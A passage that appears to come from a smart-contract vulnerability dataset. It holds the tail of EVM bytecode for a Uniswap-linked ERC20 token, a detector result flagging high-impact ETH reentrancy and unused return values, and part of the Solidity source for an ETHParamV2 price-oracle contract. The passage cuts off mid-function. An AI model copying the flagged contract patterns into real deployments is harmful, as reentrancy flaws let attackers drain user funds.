000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d0b4ae939d6596cef89f5df52e334e92f998289b5e83490e7ae44ae3833309364736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 910 |
0xb6d9581d2df4985a34f99f2d12aca27e014a6a51 | pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IPOWToken {
function updateIncomeRate() external;
function incomeToken() external view returns(uint256);
function incomeRate() external view returns(uint256);
function startMiningTime() external view returns (uint256);
function mint(address to, uint value) external;
function mintToStake(address to, uint value, uint256 startUnlockTime, uint256 endUnlockTime) external;
function weiToIncomeValue(uint256 amount) external view returns (uint256);
function remainingAmount() external view returns(uint256);
function rewardToken() external view returns(uint256);
function stakingRewardRate() external view returns(uint256);
function lpStakingRewardRate() external view returns(uint256);
function rewardPeriodFinish() external view returns(uint256);
function claimIncome(address to, uint256 amount) external;
function claimReward(address to, uint256 amount) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
interface IMiningParam {
function incomeAssetPrice() external view returns (uint256);
function incomePerSecInWei() external view returns(uint256);
function updateAssetPrice() external;
}
contract ETHParamV2 is IMiningParam{
using SafeMath for uint256;
bool internal initialized;
address public owner;
address public paramSetter;
uint256 public incomePerSecInWei;
address public uniPairAddress;
bool public usePrice0;
uint32 public lastPriceUpdateTime;
uint256 public lastCumulativePrice;
uint256 public lastAveragePrice;
address[] public paramListeners;
function initialize(address newOwner, address _paramSetter, uint256 _incomePerSecInWei, address _uniPairAddress, bool _usePrice0) public {
require(!initialized, "already initialized");
require(newOwner != address(0), "new owner is the zero address");
initialized = true;
owner = newOwner;
paramSetter= _paramSetter;
incomePerSecInWei = _incomePerSecInWei;
uniPairAddress = _uniPairAddress;
usePrice0 = _usePrice0;
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 currentBlockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(_uniPairAddress);
lastPriceUpdateTime = currentBlockTimestamp;
lastCumulativePrice = _usePrice0?price0Cumulative:price1Cumulative;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setParamSetter(address _paramSetter) external onlyOwner {
require(_paramSetter != address(0), "param setter is the zero address");
emit ParamSetterChanged(paramSetter, _paramSetter);
paramSetter = _paramSetter;
}
function updateAssetPrice() external onlyParamSetter {
_updatePrice();
notifyListeners();
}
function _updatePrice() internal {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 currentBlockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(uniPairAddress);
uint256 currentPrice = usePrice0?price0Cumulative:price1Cumulative;
uint256 timeElapsed = currentBlockTimestamp - lastPriceUpdateTime; // overflow is desired
